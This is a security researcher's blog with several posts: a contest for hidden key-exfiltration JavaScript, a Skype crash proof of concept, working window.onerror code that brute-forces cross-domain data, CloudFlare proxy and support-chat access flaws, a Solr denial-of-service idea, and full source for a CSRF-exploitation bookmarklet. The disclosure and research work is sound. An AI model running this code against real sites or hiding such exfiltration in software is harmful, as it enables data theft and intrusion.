The Java Hacker – Peter Jaric's Blog

The First JavaScript Misdirection Contest

Finally we have a winner!

But first, some background. One month ago, on the 29th of August, I announced the JavaScript Misdirection Contest:

There is a programming contest called The Underhanded C Contest. In their own words, it is “an annual contest to write innocent-looking C code implementing malicious behavior”. I am very much intrigued by that concept, but as my C-skills have declined considerably, I recently wished that there also was a JavaScript version. Pepe Vila suggested that I should start one myself, and here it is.

In short, the goal of the contest was to write code that generated a key for a made-up crypto coin called VDC, and at the same time include hidden code to send that key to your own server. Read more about it, and all the rules, over at

The kind people over at Detectify (who make a great web based security scanner) donated the first prize, a cool pentesting device called the USB Rubber Ducky Deluxe.

The contest ended the 13th of September, and at that time I had got 40 submissions, of which 34 were valid. The number of submissions and the nice comments I got from the contestants made the contest a success to me.

The winner

And now to what you’ve all been waiting for, the results. I have decided to award the first prize in the JavaScript Misdirection Contest #0 to…

Aymeric Beaumet!


I liked his submission because it is short and still manages to include hidden evil code. Most other contest submissions were far longer. You can check out his entry over here: I’ve included Aymeric’s own description of his submission, but not right here.

The runner-up is Jesse Eedrah, who used a cool unicode trick to misdirect the reader. You can find it here: Jesse also put an explanation at GitHub:

At the end of the post follow the other entries (except for a few who wished to be removed from this list). Do you think I made the right choice, or is there a more worthy winner?

Submitted code

Some random thoughts about the submissions:

  • Many contestants hid the evil code in a Base64-encoded block, often masked as a seed or key.
  • Using Image.src as a way to send the key was very common. I also used it in my example, maybe that was the reason.
  • Another trick used by more than one, was to include a link to StackOverflow in a comment. I think that was quite clever, because as a code reviewer (and creator) I am used to find these kind of comments that explain unusual code.
  • Generally I find it easier to skip over code that has a good comment above it, so I think that is a good trick too.

Next time?

This was the first JavaScript Misdirection Contest. That kind of implies that there will be another one. :) Hopefully I will run it again later on, but probably not until next year. I’ve learned a few things from this round; most of all that it takes a lot of time, which I don’t have. So the next time I will try to do things a little differently, and luckily I have a few ideas.


I have not done this all by myself. I’d like to thank Jacob Soo, Jonatan Heyman, Victor Haffreingue, File Descriptor and Detectify.

Other solutions

These are the other valid submissions (except for those who elected to be removed):

A. Levin
Agop Shirinian
Aleksandr Belkin
Andrew Moffat
Aymeric Beaumet
Calle Svensson
Carl Zulauf
Craig Spence
David G
David Roberts
Donald Abrams
Duncan Hall
Emil Stenström
Ephi Gabay
Eran Schoellhorn
Evan Hahn
Jeka Kiselyov
Jesse Eedrah
Jonas P. Hyatt
Jonathan Mann
Kaley Crum
Kamil Vavra
Kevin Bedi
Kristov Atlas
Michael Hayes
Olivier Arteau
Ondřej Žára
Stephen Checkoway
Timo Kissing

Aymeric’s tricks

The tricks behind his solution, in his own words:

– perform a request leveraging Image.src
– generate the seed as being `src`
– use the seed to generate the domain name (
– obfuscate the url construction as if it was the hash

Will send the generated key to (necessitate the proper DNS Cname wildcard)

Crashing Skype with a Malicious URL

Some time ago I noticed that it is possible to create Skype links for starting a chat with your account. This is how one of these URIs would look:


I started to play around with this and soon noticed that if you changed the “T” to a “U” and opened the URL in your browser (Chrome or Firefox, strangely it didn’t work on IE), Skype would hang or crash (after allowing Skype to open it, if that wasn’t previously set to yes as default). As I have near to zero experience with exploiting that kind of thing, and since I didn’t have time to learn it right then, I just sent this simple PoC to Microsoft Security:

<iframe src="skype:%23 SECURITY UPDATE %2F%24*U%3B 2015 ?chat">

(I tried to make a convincing message to trick the user into clicking OK, but that’s only necessary if Skype isn’t allowed to open Skype-URIs already.)

A little while ago I got this back from them:

We have completed our investigations regarding the issue you have reported and it has been fixed. We will be acknowledging your name in our Security Researchers webpage for the month of March.

It was interesting to see if a flaw in a desktop app would give me something more than a Hall of Fame mention, but I guess you need to at least provide some kind of exploit for that.

(For the record, Microsoft Security told me it was OK to post this.)

Using window.onerror to Brute-force Cross Domain Data (updated)

If you haven’t read the post before, please read the original post below.

I got a lot of interesting comments on Twitter about this post, and among them the obvious problem that this approach is slow. Then it hit me, I can do this as a binary search to make it much more efficient. By doing this, I am able to brute force 1 million guesses in about 5 to 10 seconds. It’s not extremely fast, but depending on the application, it can be enough. Here’s the revised code that does this:

// Load a script from a url and then call the callback
// From
function loadScript(url, callback)
  var head = document.getElementsByTagName('head')[0];
  var script = document.createElement('script');
  script.type = 'text/javascript';
  script.src = url;
  script.onreadystatechange = callback;
  script.onload = callback;

function binarySearch() {
  var i, split, next;
  if (wasDefined && defined.length === 1) {
    alert('answer: ' + defined[0]);
  } else if (!wasDefined && notDefined.length === 1) {
    alert('answer: ' + notDefined[0]);
  } else {
    // Remove the previously checked secrets
    for (i = 0; i < defined.length; i++) {
      delete window[defined[i]];
		// No we want to go on checking the defined variables if the
		// secret was defined or the undefined variables if the secret was
		// not defined.
    next = wasDefined ? defined : notDefined;

		// Split the array in two halves, one that we will define (in the
		// global object), and one that we will not define.
    split = Math.floor(next.length / 2);
    defined = next.slice(0, split);
    notDefined = next.slice(split, next.length);
		// Define the variables from the "defined" array.
    for (i = 0; i < defined.length; i++) {
      window[defined[i]] = 0;
		// Assume that we will find the secret in the "defined" array.
		// window.onerror will set wasDefined to false if it is called.
    wasDefined = true;

		// Load the url where the secret is
    loadScript('', binarySearch);

window.onerror = function() {
  // If we ended up here, we got a ReferenceError. That means the 
	// secret was not defined in the global object.
  wasDefined = false;
  // Suppress the default error handling
  return true;

var notDefined = [], defined = [], wasDefined = false;

// For testing the solution, seed with a lot of incorrect guesses
for (i = 0; i < 1000000; i++) {
  notDefined.push('notcorrect' + i);

// Add the correct guess somewhere random
notDefined[Math.floor(Math.random() * notDefined.length)] = 'secret2';

// Get rid of any defined properties from previous runs
for (i = 0; i < notDefined.length; i++) {
  delete window[notDefined[i]];

// Run the algorithm

Original post:

Recently I stumbled across a web site that had some user data accessible by a URL and it was returned like this:

value1, value2

I realized that this is valid JavaScript, being an expression with two variable names. I thought it might be possible to guess the names of those two variables and declare them and then fetch the data as a JavaScript via a script tag on another domain. If we then does not get an error, we guessed correctly! We can detect if we get an error with window.error. See further down for code that does this.

Thinking about this, I thought that maybe it is possible to do something similar with ordinary JSON data, and asked a little about it on Twitter. The first answer came from @avlidienbrunn and it made clear that my first idea wasn’t new at all. Earlier this year he had the same idea, but used another way to go about it, without window.error. Later @filedescriptor replied and said that my second idea had worked previously, but not anymore, for security reasons. Clearly, everything has been done already.

Anyway, since I came up with my own way of brute-forcing cross domain data, I thought I should share the code. It is not a very fast method, and I guess someone already thought of it, like back in 1993, but here it is. It uses the same example data as @avlidienbrunn used.

// Load a script from a url and then call the callback
// From
function loadScript(url, callback)
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = url;
    script.onreadystatechange = callback;
    script.onload = callback;

function checkNext() {
  if (success) { 
    alert('answer: ' + secrets[i]); 
  } else {
    // Remove the previously checked secret to save memory
    delete window[secrets[i]]; 
    // Define the next secret to check
    window[secrets[i]] = 0; 
    // We'll assume this will be a success. If not, success
    // will be set to false by onerror.
    success = true;
    loadScript('', checkNext);

var secrets = [ 'secret0', 'secret1', 'secret2', 'secret3' ], 
    success = false,

window.onerror = function() {
  // If we ended up here, we got a ReferenceError and then 
  // we know that the current guess  was wrong. 
  success = false;
  // Suppress the default error handling
  return true;

// Get rid of any defined properties from previous runs
for (i = 0; i < secrets.length; i++) {
  delete window[secrets[i]]; 

// Start at -1 since checkNext will increase it by 1, to 0
i = -1;

A JavaScript challenge for Nordic.js

Today and yesterday I’ve been visiting Nordic.js, a Scandinavian JavaScript conference. To celebrate the occasion I made a little JavaScript challenge that I announced at Twitter:


I had a specific solution in mind, which I didn’t receive, but I got a load of other solutions instead:

The first one was from Andreas Madsen and it was in line with what I was looking for: changing the text between /* and */.


Then Jonas Magazinius bent the rules (rules that only existed in my mind) with this “feature flag” solution:


This was Mathias Bynens‘ first solution. It was similar to Andreas’ code, but implemented a bit differently.


From Joshua Adams ‏I got this solution that required an HTML context, but was kind of cool anyway:


Mathias sent in some more proposals, getting closer to expected solution, the second being IE 10 only if I got it right. Update: Well, that was wrong, it actually is valid JavaScript. See this page about comment syntax.



While writing this post I got this from File Descriptor, and this was on par with what I was looking for, using the JavaScript feature “Automatic Semi-colon Insertion” and line terminators in a comment:


Finally, the code I wrote that inspired this challenge.

var a = 0, b = 0;


var a = 0, b = 0;

On Twitter I wrote that I would declare the “coolest” solution the winner, and I think it’s the one from File Descriptor. Congratulations!

Gateway to Heaven – a CloudFlare Vulnerability

CloudFlare is a service that sits between the Internet and its customers’ web servers, protecting them and speeding them up.

When I was visiting the web site of one of these customers I noticed something strange. The page was fetching content (JavaScript and CSSes) via a URL that looked something like this:[]=[]=

(If you, like me, always are looking for stuff that can be abused or misused, you have probably already guessed what comes next.)

I soon understood that this was CloudFlare functionality and not local to the website. I then immediately sent this mail to CloudFlare:


Some days ago I submitted a vulnerability report to a site that I think is one of your customers. I don’t want to disclose their name at the moment as I am not sure they are OK with that. They might have been in contact with you already, since the problem seems to be with functionality you provide.


When these URLs are accessed, your server nicely gets the page in the r[] parameter and returns it in the response. Multiple instances of r[] in the same URL are also possible.

This could be exploited by someone who wants to access another URL, but anonymously (except for your logs of course), or to access pages “in your name”, making you look bad.

It could also be exploited in another, more serious way. If you happen to have any internal web servers that are not visible to the internet (for example a bug tracker), they might be visible to the computer hosting Then this vuln could be used to fetch files from the internal servers (given that the attacker knows the URLs or brute forces them).

A search on Google for this type of URL shows that many sites has the same problem. I don’t know if you can fix it in one place or if you have to roll it out to all these sites.

If you have any questions, please let me know.

In short, the vulnerability would allow an attacker to download content via a server acting as a gateway to the inside of CloudFlare, or to anywhere else.

After this, the whole experience was very smooth. John Roberts, Platform Lead at CloudFlare, who was my contact during the following discussion, was very nice about it all. CloudFlare does not have a reward program, but I was offered a T-shirt as a token of appreciation.

Open Chat Conversations in Halebop Support (Fixed)

5 months ago I discovered that the Swedish telecom operator Halebop (a TeliaSonera operated brand) had a big problem in its support chat.

After ending a support session, the customer could access the log of the session for later reference via an URL on the form:[id]&_sid=[sid]

It turned out that the _sid parameter didn’t matter, and that it was possible to access other customers’ logs by changing the id parameter. This is called an Insecure Direct Object Reference in the OWASP Top Ten (thanks @avlidienbrunn). The id number I was looking at was higher than 2,500,000, which indicated that there could have been more than two and a half million support chat logs with potentially sensitive customer data open for anyone to read.

I asked on Twitter if anyone had a security contact at Halebop and got help almost immediately from @ilektrojohn, who knew someone on the inside. I mailed a report and it was forwarded to the incidence report team (IRT), since the contact at TeliaSonera I got in touch with was not working with this. I never got any response directly from the IRT, but was told by my contact that:

the official response was: “we do not encourage this sort of activity”


Before publishing this post I wanted to make sure that the vulnerability was fixed so I tried to access a support log and was rejected, as expected. But fortunately I did not remember to close the tab afterwards.

The next day, when I was doing some work from home and needed to use BURP (my proxy tool of choice) for once (I am a developer, not a security guy) I happened to notice something strange in the History tab. It looked like a support conversation! And it was.

Apparently the chat page used AJAX to update the current conversation at regular intervals, and it did this even though I was not allowed to see it on the page. My guess is that when they fixed the original vulnerability, they only did it at one place in the view layer, and not deeper down.

Naturally I had to report this flaw too, but this time my original contact was not available. Instead I asked Telia at Twitter for help. One week later the security team contacted me and this time they told me:

Thank you for taking the effort of finding and reporting this issue.

That’s what I want to hear!

Agessa’s World – a game where the interface consists of only alert(), confirm() and prompt()

A while ago I asked myself: who uses alert() for anything but debugging in web applications nowadays? It didn’t take long to go from that question to the idea that I should make something that uses only native dialogs, just for fun.

TL;DR: Play the game “Agessa’s World”!

The result is a game that only uses alert(), confirm() and prompt(). Nothing else is visible to the user. I have created a small “framework” that I call ACP, and a small demo game using that framework. The code can be found at my Github repository ACP. And the game is here (same link as above).

One thing I have learned from this is that while the framework logic didn’t take that much time, writing the story and the game world was very time consuming, even though the game is quite small. Now i have more respect for all the game devs out there, that’s for sure.

I forgot to thank Jonatan Heyman, who beta-tested the game and found some irritating glitches.

Linkifying robots.txt

I find it quite fun to look for vulnerabilities in websites and then report them (to hopefully gain a bug bounty or at least a place on a Hall of Fame list). One place to find interesting stuff is in the robots.txt file present on many websites.

It is quite annoying though, that the relative URLs found in the file are not clickable. So I made a bookmarklet (JavaScript code run from a bookmark in your browser) to make this possible. I had to make two versions, one for Firefox and on for Chrome, working slightly different.


Go to this bookmarklet editor.
Paste the code below (depending on browser) into the text field.
Enter a name of your choice for the bookmarklet (e.g. “Linkify robots.txt”).
Click “Compress”.
Drag the bookmarklet link found at the bottom to your bookmarks.


  var base=location.protocol+"//"+location.hostname+(location.port&&":"+location.port);
  var html=document.body.textContent.replace(/: (/.*)/g,': <a href="'+base+'$1">$1</a>');


  var base=location.protocol+"//"+location.hostname+(location.port&&":"+location.port);
  var html=document.body.textContent.replace(/: (/.*)/g,': <a href="'+base+'$1">$1</a>').replace(/n/g,'<br>');


Go to a robots.txt file somewhere on the web and click the bookmarklet.

Abusing the Solr local parameters feature – LocalParams injection

Solr is an open source search platform built by the Apache project. You can read more about it at the Solr site, but I’ll go straight to the point. Quite a few sites has based their search functionality on Solr and many of them suffer from a small problem, that I call “LocalParams injection” for lack of a better word (please suggest something more fitting, or tell me if there already is a term for this).


LocalParams is a way to insert meta data about the search into the query string. For example, if the user searches for “food”, and has indicated the she wants 20 rows per page, we can change the query to “{! rows=20} food” before we send it to the query parser.

A vulnerability

What I have seen is that many Solr implementations fail to sanitize the search string properly and allow the LocalParams syntax to pass through. This makes it possible to inject whatever local parameters you want to into the query. I have been experimenting with the rows parameter, but there probably are other ways to abuse this functionality.

A potential exploit

So what can you do? Well, if you first make a search that results in a great number of hits (sometimes *, or *:*, works, which means all documents), you can then prefix it with {! rows=the same number}. The server now has to serve you all these results on one page. For some sites, this takes a very long time.

I am suggesting that by making a (not that large) number of these requests (with small variations to defeat caching) simultaneously you could potentially carry out a Denial of Service attack against the search server, or maybe even the web site if they share resources. I have not tried this, though, and can’t say for sure that I am right.

Reported and fixed

I have reported this vulnerability to a number of sites and most of them have fixed it already. These include:

Sea Surfer v2

A little while ago I made a bookmarklet called the Sea Surfer for detecting and exploting CSRF vulnerabilities. Since then I have got some feedback from Ashar Javed which has prompted me to create a slightly improved version.

Sea Surfer v2 release notes:

  • jQuery is loaded automatically (no need to run the jQuerify bookmarklet first)
  • All inputs and textareas are converted to hidden inputs
  • is used instead of iframes
  • Bug fixes

How does it work – what does it do?

When I come to a page with a form I’d like to check, I click on the Sea Surfer link in my bookmarks bar. In the new tab I check in the form if it contains any CSRF tokens. If it does, I don’t check the page any further. This takes less than 5 seconds. On the other hand, if the form looks exploitable, I change some values and try it out. When the form is submitted the resulting page mostly gives immediate feedback if the CSRf succeeded (it often contains the modified value). Such a successful exploit often take less than 30 seconds. What I am trying to say is that I think that the Sea Surfer simplifies the process quite much.


  • Add the Sea Surfer v2 bookmarklet to your bookmarks (by dragging the link to your bookmarks bar, for example)

How to use

  • Choose a page with forms that you want to check
  • Run the Sea Surfer by clicking the bookmarklet link
  • In the resulting window or tab, all forms on the page will be displayed in text areas. Choose the one that you want to check if it does not contain any CSRF tokens or similar, edit the inputs and then click “Test vulnerability”

A new window or tab will open and the form will be submitted automatically. If the submit succeeded (it is not detected as not being legit), you can use the edited form as a proof of concept when you report the vulnerability. I have only tested this in Firefox and Chrome (in Windows).

Source code

As I stated in the previous post, please modify this code anyway you want to. Then make a bookmarklet of it. This time I used the original Bookmarklet Crunchinator. In the bookmarklet above I’ve base64 encoded the code to be able to include the bookmarklet in this page. This is not necessary if you convert the code to a bookmarklet yourself and just put it in your bookmarks.

    var version = 2;
    var w =;
    // getScript() by paul irish
    function getScript(url, success){
        var head = document.getElementsByTagName("head")[0],
        done = false;
        var script = document.createElement("script");
        script.src = url;
        // Attach handlers for all browsers
        script.onload = script.onreadystatechange = function() {
            if (!done && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
                done = true;
    function seaSurfer($) {
        function convertToHidden(elem) {
            return '<input name="' + elem.attr('name') + '" value="' + elem.val() + '" type="hidden"/>';
        var body = $(w.document.body);
        body.append('<h1>Sea Surfer v' + version + '</h1><p>By <a href="">@peterjaric</a> at <a href=""></a>.</p>');
        // Create test entry for each form on the page
        $('form').each(function(i) {
            var form, formInputs, inputs, area, desc, script, a, autoSubmit, formHtml;
            form = $(this).clone();
            // Some info about the form
            desc = '<h2>Form ' + (i + 1) + ' (' + form.attr('action') + ')</h2>';

            // Prepare the form code
            a = document.createElement('a');
            a.href = form.attr('action');
            form.attr('action', a.href);

            // Find the current inputs (etc) of the form, only caring about the current values
            formInputs = 'input[type=text],input[type=hidden],input[type=password],input:checked,select,textarea';
            inputs = $(this).find(formInputs); // using $(this) instead of form since clone doesn't clone textarea values

            // Replace them with hidden inputs (and some formatting)
            inputs.each(function() {
                form.append('  ' + convertToHidden($(this)) + '\n');

            // Create a textarea and insert the form and some code that will auto submit the form later
            area = $('<textarea id=\'area' + i + '\' cols=120 rows=20>');
            autoSubmit = '<script>document.getElementsByTagName(\'form\')[0].submit();</script>';
            formHtml = form.wrap('<div>').parent().html();
            area.text(formHtml + autoSubmit);

            // Create a button that will open a new window that will submit the form
            script = 'javascript:function insertAfter(newChild,refChild){refChild.parentNode.insertBefore(newChild,refChild.nextSibling);} var area = document.getElementById(\'area' + i + '\'); var csrfWin =;  csrfWin.document.write(area.value);';
            body.append('<br/><input type=submit value="Test vulnerability" onclick="' + script + '"/><br/>');

    getScript('', function() {
        // Remove all global traces of our newly loaded
        // jQuery and Then run the seaSurfer
        jQuery.noConflict(true)(function(jQuery) {

Again: the point of this is to find vulnerabilities in your own web apps and fix them, or in other web apps and report them.